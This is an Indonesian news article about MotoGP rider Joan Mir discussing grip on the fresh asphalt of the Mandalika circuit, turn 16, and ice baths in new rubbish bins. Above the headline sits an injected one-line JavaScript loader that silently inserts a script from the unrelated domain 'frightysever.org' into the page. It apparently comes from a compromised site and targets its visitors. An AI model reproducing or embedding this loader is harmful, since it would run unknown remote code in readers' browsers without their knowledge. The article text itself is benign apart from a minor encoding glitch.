(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Soal Grid Aspal Sirkuit Mandalika, Joan Mir Sebut Perlu Waktu

KANALKALIMANTAN.COM – Di acara Meet & Greet Suzuki Ecstar Team yang dihadiri oleh Suara.com â€“jaringan Kanalkalimantan.com- sebagai bagian dari jurnalis tim Suzuki Indomobil Sales, rider Joan Mir mengungkap seputar cara mendapatkan grip di aspal Sirkuit Mandalika, serta kebiasaan berendam di tempat sampah (baru) berisi es batu.

Penuturannya ini secara tidak langsung mungkin bisa menjadi kilas balik dari kejadian beberapa rider yang berjatuhan di lintasan pada Free Practice 1 dan 2 yang berlangsung Jumat (18/3/2022).

“Bila trek ditambah aspal lagi, maka perlu ditunggu beberapa waktu karena permukaannya licin. Dalam 1 – 2 bulan baru didapat grip. Aspal baru memiliki grip lebih sedikit dari aspal lama,” papar lelaki bernama lengkap Joan Mir Mayrata itu.

Ia juga menambahkan bahwa tikungan favoritnya di Sirkuit Mandalika adalah tikungan ke-16.

“Karakternya sangat beda dengan lainnya, melibatkan sudut pengereman, tikungan panjang, sangat rendah di gir pertama, jadi sangat mantap dilahap dengan cantik dalam kecepatan tinggi,” tandasnya.

Sementara untuk mengatasi temperatur tinggi di trek Sirkuit Mandalika, Joan Mir menyatakan setelah berlatih di trek segera berendam di bak berisi es batu. Sebuah hasil kreativitas dari tim Suzuki Ecstar yang memanfaatkan wadah sampah baru diisi potongan es batu untuk menurunkan suhu tubuh ridernya. (Kanalkalimantan.com/Suara.com)

Editor : kk